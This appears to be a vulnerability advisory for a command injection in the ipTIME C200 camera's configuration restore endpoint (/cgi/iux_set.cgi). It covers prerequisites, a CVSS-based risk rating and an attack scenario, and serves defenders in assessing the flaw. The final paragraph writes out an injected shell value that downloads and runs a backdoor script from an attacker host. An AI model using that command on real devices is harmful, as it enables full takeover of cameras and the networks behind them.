EFM ipTIME C200 EUVD-2026-27319

Exploitation requires authenticated access to the ipTIME C200 web management interface with administrator-level privileges (CVSS PR:H confirms high privilege requirement). The attacker must have valid admin credentials obtained through credential theft, password guessing against weak/default passwords, or prior compromise of admin workstations. The ApplyRestore configuration restore feature at /cgi/iux_set.cgi must be accessible and functional, which is typical in default deployments of IP camera firmware. Network connectivity to the camera's HTTP/HTTPS management port (typically TCP 80/443 or device-specific ports) is required (CVSS AV:N). No user interaction is needed once authenticated (UI:N). Limiting factors: authentication gate prevents anonymous exploitation, requires admin-level access rather than regular user credentials, and exploitation leaves forensic artifacts in device logs if logging is enabled. Devices deployed behind NAT without port forwarding or on isolated management VLANs significantly reduce attack surface.

Real-world risk is moderate despite the 7.3 CVSS score. The CVSS vector shows network-based attack (AV:N) with low complexity (AC:L) but critically requires high privileges (PR:H), meaning only authenticated administrators can exploit this. The E:P (Proof-of-concept) indicator confirms public exploit code exists on GitHub, significantly lowering the skill barrier for attackers. However, EPSS data is not provided in the input, and the vulnerability is NOT listed in CISA KEV, suggesting no confirmed widespread or in-the-wild exploitation. The SSVC assessment would likely categorize this as medium priority: exploitation requires credential compromise first (attacker must already have admin access), technical impact is total system compromise (VC:H/VI:H/VA:H), but automation potential is limited by the authentication gate. The primary risk scenario is post-compromise lateral movement where attackers who have stolen or brute-forced admin credentials can pivot to full device control. Lower priority than unauthenticated RCE but still significant for exposed devices with weak admin passwords. The unresponsive vendor status is a red flag indicating no patch may ever be released, requiring compensating controls indefinitely.

An attacker who has obtained ipTIME C200 admin credentials (via password reuse, phishing, or brute force against weak default passwords) logs into the camera's web interface and navigates to the configuration backup/restore feature. They craft a malicious configuration file where the RestoreFile parameter contains shell metacharacters and injected commands, such as ';wget http://attacker.com/backdoor.sh -O /tmp/b.sh; sh /tmp/b.sh;'. Upon uploading this file to the ApplyRestore endpoint at /cgi/iux_set.cgi, the vulnerable sub_408F90 function passes the unsanitized input to a system shell, executing the attacker's commands with the privileges of the web server process (typically root on embedded devices), resulting in full device compromise, persistent backdoor installation, or lateral movement into the network segment.